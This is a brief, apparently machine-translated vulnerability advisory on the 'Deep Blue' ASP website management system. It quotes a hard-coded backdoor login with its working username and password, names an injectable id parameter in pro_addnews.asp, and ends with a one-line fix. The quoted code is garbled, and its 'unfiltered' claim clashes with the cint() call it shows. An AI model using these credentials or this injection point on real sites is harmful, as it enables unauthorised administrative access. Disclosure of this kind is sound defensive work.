Deep Blue enterprise website management system SQL injection/unauthorized backdoor Login

Problem file: pro_addnews.asplogin.asp

The login. asp code is as follows:

If ytss_use <> "" And ytss_Pword <> "Thenif ytss_use =" lty696 "and md5 (ytss_Pword) =" ae68b0f59186f263 "thenSession (" admin_User ") = "lty" session ("admin_type") = "lty696" Response. redirect "tz_admin_index.asp" // very obvious backdoor. Username: lty696 password: 841122

 

The pro_addnews.asp code is as follows:

Id = trim (request. queryString ("id") if request. queryString ("action") = "modi" and id <> "" thendim modimodi = "y" set rsok = server. createobject ("adodb. recordset ") sqlok =" select * from product where id = "& cint (trim (request. queryString ("id") rsok. open sqlok, conn, // The ID is not filtered and directly submitted to the database for query, resulting in injection.

 

Solution:

Delete backdoor code and add anti-injection programs